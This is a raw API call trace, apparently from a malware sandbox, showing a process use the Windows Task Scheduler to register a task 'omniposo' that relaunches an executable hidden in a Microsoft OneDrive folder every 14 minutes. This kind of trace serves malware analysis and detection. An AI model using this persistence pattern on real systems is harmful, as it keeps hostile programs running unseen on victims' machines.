(HeapHandle=0x130000, Flags=0xc, Size=0x16) returned 0x14d5e0 [0140.477] GetLocalTime (in: lpSystemTime=0x11c550 | out: lpSystemTime=0x11c550*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x3, wMilliseconds=0x22b)) [0140.478] lstrlenW (lpString="") returned 0 [0140.478] GetLocalTime (in: lpSystemTime=0x11ce08 | out: lpSystemTime=0x11ce08*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x3, wMilliseconds=0x22b)) [0140.478] lstrlenW (lpString="") returned 0 [0140.478] lstrlenW (lpString="") returned 0 [0140.478] lstrlenW (lpString="") returned 0 [0140.478] lstrlenW (lpString="") returned 0 [0140.478] lstrlenW (lpString="14") returned 2 [0140.478] _wtol (_String="14") returned 14 [0140.478] lstrlenW (lpString="") returned 0 [0140.478] lstrlenW (lpString="") returned 0 [0140.478] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0140.500] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0140.575] CoCreateInstance (in: rclsid=0xfff91ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xfff91ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x11cbd0 | out: ppv=0x11cbd0*=0x327a50) returned 0x0 [0140.585] TaskScheduler:ITaskService:Connect (This=0x327a50, serverName=0x11ccb0*(varType=0x8, wReserved1=0x11, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x11cc70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x11cc90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x11cc50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0140.632] TaskScheduler:IUnknown:AddRef (This=0x327a50) returned 0x2 [0140.632] TaskScheduler:ITaskService:GetFolder (in: This=0x327a50, Path=0x0, ppFolder=0x11cd68 | out: ppFolder=0x11cd68*=0x327c80) returned 0x0 [0140.635] TaskScheduler:ITaskService:NewTask (in: This=0x327a50, flags=0x0, ppDefinition=0x11cd60 | out: ppDefinition=0x11cd60*=0x327cd0) returned 0x0 [0140.635] ITaskDefinition:get_Actions (in: This=0x327cd0, ppActions=0x11cce0 | out: ppActions=0x11cce0*=0x327d90) returned 0x0 [0140.635] IActionCollection:Create (in: This=0x327d90, Type=0, ppAction=0x11cd00 | out: ppAction=0x11cd00*=0x326110) returned 0x0 [0140.636] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.636] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0140.636] lstrlenW (lpString=" ") returned 1 [0140.636] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0140.636] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0140.636] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0140.636] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0140.637] StrChrW (lpStart=" ", wMatch=0x4f) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0140.637] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0140.637] IUnknown:Release (This=0x326110) returned 0x1 [0140.638] IUnknown:Release (This=0x327d90) returned 0x1 [0140.638] ITaskDefinition:get_Triggers (in: This=0x327cd0, ppTriggers=0x11c860 | out: ppTriggers=0x11c860*=0x327ed0) returned 0x0 [0140.638] ITriggerCollection:Create (in: This=0x327ed0, Type=1, ppTrigger=0x11c858 | out: ppTrigger=0x11c858*=0x326180) returned 0x0 [0140.638] lstrlenW (lpString="14") returned 2 [0140.638] _vsnwprintf (in: _Buffer=0x11c7e0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x11c7d8 | out: _Buffer="PT14M") returned 5 [0140.638] ITrigger:get_Repetition (in: This=0x326180, ppRepeat=0x11c850 | out: ppRepeat=0x11c850*=0x326210) returned 0x0 [0140.638] IRepetitionPattern:put_Interval (This=0x326210, Interval="PT14M") returned 0x0 [0140.638] IUnknown:Release (This=0x326210) returned 0x1 [0140.638] _vsnwprintf (in: _Buffer=0x11c7a0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x11c778 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0140.638] ITrigger:put_StartBoundary (This=0x326180, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0140.638] lstrlenW (lpString="") returned 0 [0140.638] lstrlenW (lpString="") returned 0 [0140.638] lstrlenW (lpString="") returned 0 [0140.639] lstrlenW (lpString="") returned 0 [0140.639] IUnknown:Release (This=0x326180) returned 0x1 [0140.639] IUnknown:Release (This=0x327ed0) returned 0x1 [0140.639] ITaskDefinition:get_Settings (in: This=0x327cd0, ppSettings=0x11cd00 | out: ppSettings=0x11cd00*=0x325f50) returned 0x0 [0140.639] lstrlenW (lpString="") returned 0 [0140.639] IUnknown:Release (This=0x325f50) returned 0x1 [0140.639] GetLocalTime (in: lpSystemTime=0x11cbb8 | out: lpSystemTime=0x11cbb8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x3, wMilliseconds=0x2c7)) [0140.639] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0140.639] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0140.639] GetUserNameW (in: lpBuffer=0x11cbe0, pcbBuffer=0x11cbc8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x11cbc8) returned 1 [0140.640] ITaskDefinition:get_RegistrationInfo (in: This=0x327cd0, ppRegistrationInfo=0x11cbb0 | out: ppRegistrationInfo=0x11cbb0*=0x327e10) returned 0x0 [0140.640] IRegistrationInfo:put_Author (This=0x327e10, Author="") returned 0x0 [0140.640] _vsnwprintf (in: _Buffer=0x11cbe0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x11cb78 | out: _Buffer="2022-08-06T02:19:03") returned 19 [0140.640] IRegistrationInfo:put_Date (This=0x327e10, Date="") returned 0x0 [0140.640] IUnknown:Release (This=0x327e10) returned 0x1 [0140.640] malloc (_Size=0x18) returned 0x327c30 [0140.640] free (_Block=0x327c30) [0140.641] lstrlenW (lpString="") returned 0 [0140.641] malloc (_Size=0x18) returned 0x327c30 [0140.641] ITaskFolder:RegisterTaskDefinition (in: This=0x327c80, Path="omniposo", pDefinition=0x327cd0, flags=6, UserId=0x11ce50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x11ce90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11ed60, varVal2=0xfe), LogonType=3, sddl=0x11ce70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x11cd70 | out: ppTask=0x11cd70*=0x3263f0) returned 0x0 [0140.806] free (_Block=0x327c30) [0140.806] _memicmp (_Buf1=0x14bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.807] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x14d2a0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0140.807] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0140.807] GetProcessHeap () returned 0x130000 [0140.807] GetProcessHeap () returned 0x130000 [0140.807] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d600) returned 1 [0140.807] GetProcessHeap () returned 0x130000 [0140.807] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d600) returned 0xc [0140.807] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d600 | out: hHeap=0x130000) returned 1 [0140.807] GetProcessHeap () returned 0x130000 [0140.807] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x82) returned 0x169b70 [0140.807] _vsnwprintf (in: _Buffer=0x11d4b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x11cd18 | out: _Buffer="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n") returned 70 [0140.807] _fileno (_File=0x7fefed02ab0) returned -2 [0140.807] _errno () returned 0x324bb0 [0140.807] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0140.807] SetLastError (dwErrCode=0x6) [0140.807] lstrlenW (lpString="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n") returned 70 [0140.807] GetConsoleOutputCP () returned 0x0 [0140.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0140.807] GetConsoleOutputCP () returned 0x0 [0140.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0xfffd1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0140.807] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 70 [0140.808] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0140.808] IUnknown:Release (This=0x3263f0) returned 0x0 [0140.808] TaskScheduler:IUnknown:Release (This=0x327cd0) returned 0x0 [0140.808] TaskScheduler:IUnknown:Release (This=0x327c80) returned 0x0 [0140.808] TaskScheduler:IUnknown:Release (This=0x327a50) returned 0x1 [0140.808] lstrlenW (lpString="") returned 0 [0140.808] lstrlenW (lpString="14") returned 2 [0140.808] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="14", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.808] GetProcessHeap () returned 0x130000 [0140.808] GetProcessHeap () returned 0x130000 [0140.808] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c270) returned 1 [0140.808] GetProcessHeap () returned 0x130000 [0140.808] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c270) returned 0x1fc [0140.809] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c270 | out: hHeap=0x130000) returned 1 [0140.809] GetProcessHeap () returned 0x130000 [0140.809] GetProcessHeap () returned 0x130000 [0140.809] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14b9b0) returned 1 [0140.809] GetProcessHeap () returned 0x130000 [0140.809] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14b9b0) returned 0x6 [0140.809] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14b9b0 | out: hHeap=0x130000) returned 1 [0140.809] GetProcessHeap () returned 0x130000 [0140.809] GetProcessHeap () returned 0x130000 [0140.809] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d4e0) returned 1 [0140.809] GetProcessHeap () returned 0x130000 [0140.809] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d4e0) returned 0x16 [0140.809] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d4e0 | out: hHeap=0x130000) returned 1 [0140.809] GetProcessHeap () returned 0x130000 [0140.809] GetProcessHeap () returned 0x130000 [0140.809] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d500) returned 1 [0140.809] GetProcessHeap () returned 0x130000 [0140.809] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d500) returned 0x18 [0140.809] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d500 | out: hHeap=0x130000) returned 1 [0140.809] GetProcessHeap () returned 0x130000 [0140.809] GetProcessHeap () returned 0x130000 [0140.809] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd70) returned 1 [0140.809] GetProcessHeap () returned 0x130000 [0140.809] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cd70) returned 0x20 [0140.810] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd70 | out: hHeap=0x130000) returned 1 [0140.810] GetProcessHeap () returned 0x130000 [0140.810] GetProcessHeap () returned 0x130000 [0140.810] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c010) returned 1 [0140.810] GetProcessHeap () returned 0x130000 [0140.810] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c010) returned 0xa0 [0140.810] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c010 | out: hHeap=0x130000) returned 1 [0140.810] GetProcessHeap () returned 0x130000 [0140.810] GetProcessHeap () returned 0x130000 [0140.810] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ba90) returned 1 [0140.810] GetProcessHeap () returned 0x130000 [0140.810] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ba90) returned 0x18 [0140.810] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ba90 | out: hHeap=0x130000) returned 1 [0140.810] GetProcessHeap () returned 0x130000 [0140.810] GetProcessHeap () returned 0x130000 [0140.810] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cb30) returned 1 [0140.810] GetProcessHeap () returned 0x130000 [0140.810] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cb30) returned 0x20 [0140.811] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cb30 | out: hHeap=0x130000) returned 1 [0140.811] GetProcessHeap () returned 0x130000 [0140.811] GetProcessHeap () returned 0x130000 [0140.811] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14dcb0) returned 1 [0140.811] GetProcessHeap () returned 0x130000 [0140.811] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14dcb0) returned 0x70 [0140.811] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14dcb0 | out: hHeap=0x130000) returned 1 [0140.811] GetProcessHeap () returned 0x130000 [0140.811] GetProcessHeap () returned 0x130000 [0140.811] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d580) returned 1 [0140.811] GetProcessHeap () returned 0x130000 [0140.811] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d580) returned 0x18 [0140.811] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d580 | out: hHeap=0x130000) returned 1 [0140.811] GetProcessHeap () returned 0x130000 [0140.811] GetProcessHeap () returned 0x130000 [0140.811] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cb00) returned 1 [0140.811] GetProcessHeap () returned 0x130000 [0140.812] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cb00) returned 0x20 [0140.812] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cb00 | out: hHeap=0x130000) returned 1 [0140.812] GetProcessHeap () returned 0x130000 [0140.812] GetProcessHeap () returned 0x130000 [0140.812] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14dd30) returned 1 [0140.812] GetProcessHeap () returned 0x130000 [0140.812] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14dd30) returned 0x72 [0140.812] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14dd30 | out: hHeap=0x130000) returned 1 [0140.812] GetProcessHeap () returned 0x130000 [0140.812] GetProcessHeap () returned 0x130000 [0140.812] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d560) returned 1 [0140.813] GetProcessHeap () returned 0x130000 [0140.813] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d560) returned 0x18 [0140.813] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d560 | out: hHeap=0x130000) returned 1 [0140.813] GetProcessHeap () returned 0x130000 [0140.813] GetProcessHeap () returned 0x130000 [0140.813] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cad0) returned 1 [0140.813] GetProcessHeap () returned 0x130000 [0140.813] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cad0) returned 0x20 [0140.813] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cad0 | out: hHeap=0x130000) returned 1 [0140.813] GetProcessHeap () returned 0x130000 [0140.813] GetProcessHeap () returned 0x130000 [0140.813] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d540) returned 1 [0140.813] GetProcessHeap () returned 0x130000 [0140.813] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d540) returned 0xe [0140.813] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d540 | out: hHeap=0x130000) returned 1 [0140.813] GetProcessHeap () returned 0x130000 [0140.813] GetProcessHeap () returned 0x130000 [0140.813] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d520) returned 1 [0140.813] GetProcessHeap () returned 0x130000 [0140.814] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d520) returned 0x18 [0140.814] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d520 | out: hHeap=0x130000) returned 1 [0140.814] GetProcessHeap () returned 0x130000 [0140.814] GetProcessHeap () returned 0x130000 [0140.814] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145d70) returned 1 [0140.814] GetProcessHeap () returned 0x130000 [0140.814] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145d70) returned 0x20 [0140.814] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145d70 | out: hHeap=0x130000) returned 1 [0140.814] GetProcessHeap () returned 0x130000 [0140.814] GetProcessHeap () returned 0x130000 [0140.814] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14bc10) returned 1 [0140.814] GetProcessHeap () returned 0x130000 [0140.814] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14bc10) returned 0x208 [0140.815] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14bc10 | out: hHeap=0x130000) returned 1 [0140.815] GetProcessHeap () returned 0x130000 [0140.815] GetProcessHeap () returned 0x130000 [0140.815] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ba70) returned 1 [0140.815] GetProcessHeap () returned 0x130000 [0140.815] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ba70) returned 0x18 [0140.815] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ba70 | out: hHeap=0x130000) returned 1 [0140.815] GetProcessHeap () returned 0x130000 [0140.815] GetProcessHeap () returned 0x130000 [0140.815] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145c80) returned 1 [0140.815] GetProcessHeap () returned 0x130000 [0140.815] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145c80) returned 0x20 [0140.815] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145c80 | out: hHeap=0x130000) returned 1 [0140.815] GetProcessHeap () returned 0x130000 [0140.815] GetProcessHeap () returned 0x130000 [0140.815] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d2a0) returned 1 [0140.815] GetProcessHeap () returned 0x130000 [0140.815] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d2a0) returned 0x200 [0140.816] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d2a0 | out: hHeap=0x130000) returned 1 [0140.816] GetProcessHeap () returned 0x130000 [0140.816] GetProcessHeap () returned 0x130000 [0140.816] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14bab0) returned 1 [0140.816] GetProcessHeap () returned 0x130000 [0140.816] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14bab0) returned 0x18 [0140.816] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14bab0 | out: hHeap=0x130000) returned 1 [0140.816] GetProcessHeap () returned 0x130000 [0140.816] GetProcessHeap () returned 0x130000 [0140.816] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145bf0) returned 1 [0140.816] GetProcessHeap () returned 0x130000 [0140.816] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145bf0) returned 0x20 [0140.817] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145bf0 | out: hHeap=0x130000) returned 1 [0140.817] GetProcessHeap () returned 0x130000 [0140.817] GetProcessHeap () returned 0x130000 [0140.817] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c220) returned 1 [0140.817] GetProcessHeap () returned 0x130000 [0140.817] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c220) returned 0x14 [0140.817] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c220 | out: hHeap=0x130000) returned 1 [0140.817] GetProcessHeap () returned 0x130000 [0140.817] GetProcessHeap () returned 0x130000 [0140.817] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c200) returned 1 [0140.817] GetProcessHeap () returned 0x130000 [0140.817] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c200) returned 0x18 [0140.817] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c200 | out: hHeap=0x130000) returned 1 [0140.817] GetProcessHeap () returned 0x130000 [0140.817] GetProcessHeap () returned 0x130000 [0140.817] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145b30) returned 1 [0140.817] GetProcessHeap () returned 0x130000 [0140.817] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145b30) returned 0x20 [0140.818] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145b30 | out: hHeap=0x130000) returned 1 [0140.818] GetProcessHeap () returned 0x130000 [0140.818] GetProcessHeap () returned 0x130000 [0140.818] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c240) returned 1 [0140.818] GetProcessHeap () returned 0x130000 [0140.818] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c240) returned 0x16 [0140.818] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c240 | out: hHeap=0x130000) returned 1 [0140.818] GetProcessHeap () returned 0x130000 [0140.818] GetProcessHeap () returned 0x130000 [0140.818] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c1c0) returned 1 [0140.818] GetProcessHeap () returned 0x130000 [0140.818] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14c1c0) returned 0x18 [0140.818] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14c1c0 | out: hHeap=0x130000) returned 1 [0140.818] GetProcessHeap () returned 0x130000 [0140.818] GetProcessHeap () returned 0x130000 [0140.818] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145b00) returned 1 [0140.818] GetProcessHeap () returned 0x130000 [0140.818] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145b00) returned 0x20 [0140.818] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145b00 | out: hHeap=0x130000) returned 1 [0140.819] GetProcessHeap () returned 0x130000 [0140.819] GetProcessHeap () returned 0x130000 [0140.819] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14b9f0) returned 1 [0140.819] GetProcessHeap () returned 0x130000 [0140.819] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14b9f0) returned 0x2 [0140.819] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14b9f0 | out: hHeap=0x130000) returned 1 [0140.819] GetProcessHeap () returned 0x130000 [0140.819] GetProcessHeap () returned 0x130000 [0140.819] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145950) returned 1 [0140.819] GetProcessHeap () returned 0x130000 [0140.819] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145950) returned 0x20 [0140.819] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145950 | out: hHeap=0x130000) returned 1 [0140.819] GetProcessHeap () returned 0x130000 [0140.819] 